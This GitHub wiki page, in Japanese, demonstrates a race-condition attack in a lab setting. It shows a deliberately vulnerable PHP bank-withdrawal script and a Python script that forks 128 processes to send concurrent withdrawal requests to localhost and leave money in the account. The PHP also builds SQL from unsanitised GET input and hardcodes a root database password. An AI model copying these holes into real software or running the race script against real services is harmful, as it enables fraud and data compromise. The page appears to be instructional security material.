raceconditions 01 - yujitounai/helloworld GitHub Wiki
同じような処理を複数回起こさせることで制限を突破したり1度しか使えないクーポンを複数回使えるようにしたり残高を不正に増やしたりする。
<?php
$user_code = (isset($_GET['user_code'])) ? $_GET['user_code'] : '';
$amt = (isset($_GET['amount'])) ? $_GET['amount'] : 0;
$dbcon = mysqli_connect('mysql','root','root','raceconditions') or die('Dieeeeeeeeeeeeeeeee');
function getBalance($ucode)
{
global $dbcon;
$sql = "SELECT balance FROM bank_accounts where ucode = '{$ucode}'";
$r = mysqli_query($dbcon, $sql);
if($r !== NULL && $r->num_rows === 1)
{
$d = mysqli_fetch_assoc($r);
return $d['balance'];
}
return NULL;
}
function setBalance($ucode, $v)
{
global $dbcon;
$sql = "UPDATE bank_accounts SET balance = {$v} where ucode = '{$ucode}'";
$r = mysqli_query($dbcon, $sql);
return $r;
}
function withdraw($amount, $ucode)
{
$balance = getBalance($ucode);
if($amount <= $balance)
{
$balance = $balance - $amount;
setBalance($ucode, $balance);
}
else
{
echo "資金不足:<br>";
}
}
echo "出金前の残高 $" . getBalance($user_code) . "から \${$amt} 引き出し<br/>\n";
withdraw($amt, $user_code);
echo "残高 $" . getBalance($user_code) . "<br/>\n";
mysqli_close($dbcon);
?>
$10000残高のあるところに以下のプログラムを走らせると128回リクエストが行われて0になるはずだが、残高が残る
import os
# Withdraw 128 times with 128 concurrent process, $100 each process.
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
url_test = 'http://localhost:9001/racecondition-01.php?user_code=BANK000001&amount=100'
print (os.popen('php -r "echo file_get_contents(\'' + url_test + '\');"').read())
https://github.com/doantranhoang/php-race-condition-example/blob/master/poc.php